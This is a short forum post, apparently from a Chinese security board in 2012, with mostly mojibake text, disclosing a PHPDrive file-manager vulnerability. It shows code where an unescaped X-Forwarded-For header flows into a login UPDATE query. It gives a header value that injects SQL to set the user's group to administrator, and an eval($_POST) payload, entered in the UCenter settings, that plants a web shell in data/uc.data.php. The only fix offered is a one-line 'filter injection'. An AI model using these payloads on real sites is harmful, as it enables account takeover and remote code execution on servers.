admin ·¢±íÓÚ 2012-12-31 09:18:34

PHPDriveȨÏÞÌáÉý©¶´

PHPDrive ÊÇÒ»Ì×ÔËÐÐÓÚ PHP »·¾³µÄÎļþ¹ÜÀíϵͳ£¬¿ÉÒÔÓ¦ÓÃÓÚÍøÅÌ¡¢ÆóÒµÎļþ¹ÜÀí¡¢Ñ§Ð£¡¢ÍŶӹÜÀí¡¢Èí¼þÕ¾¡¢ÎļþCMSµÈ

includes/user.lib.php
ÐÐ87
function get_ip() {
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
ÔÚÓû§×¢²áÓëµÇ¼ ´¦module/disk/account.lead.php
198ÐÐ
//¸üб¾´ÎµÇ¼IPºÍʱ¼ä
             $db->Query(¡®UPDATE `¡¯.$db->TPre.¡¯user` SET `before_last_date` = ¡®.$UserArr['last_date'].¡¯,`last_date` = ¡®.$NowUnixTime.¡¯,`before_last_ip` = ¡°¡®.$UserArr['last_ip'].¡¯¡±,`last_ip` = ¡°¡®.get_ip().¡¯¡± WHERE `uid` = ¡®.$UserArr['uid'].¡¯;');//get_ip()Èë¿â×¢Èë²úÉú
ÓÉÓÚ±¾Ì׳ÌÐòuserÓëmanagerÊÇ´æÔÚÓÚͬһ¸ö±íϵģ¬Ö»ÊÇÓÃgroup×Ö¶ÎÀ´Çø·ÖÁ½Õß,group=1Ϊ¹ÜÀíÔ±£¬2ÔòΪÆÕͨÓû§¡£ËùÒÔ¿ÉÒÔÀûÓÃÒÔÉÏ×¢È룬½«ÆÕͨÓû§µÄgroupÖµ¸ÄΪ1£¬¼´¿ÉÌáÉýȨÏÞ
ʵÏÖ·½·¨£ºÊ¹ÓÃfirefoxµÄÒ»¿î²å¼þx-forwarded-for Header 1.0,½«ÄãµÄIPµØÖ·¸ÄΪ123¡å,`group`=¡±1È»ºóµÇ½£¬ÕâʱºòÄã¾ÍÊǹÜÀíÔ±ÁË.
ºǫ́getshell:
ÔÚUCenterÉèÖô¦£¬½«UCÊý¾Ý¿âµÇ¼ÃûÌîдΪ

root¡¯);eval($_POST);?>/*
¿ÉÒԵõ½Ò»¸öshell,λÖÃÔÚ data/uc.data.php

ÐÞ¸´£º¹ýÂË×¢Èë

Ò³: [1]
²é¿´ÍêÕû°æ±¾: PHPDriveȨÏÞÌáÉý©¶´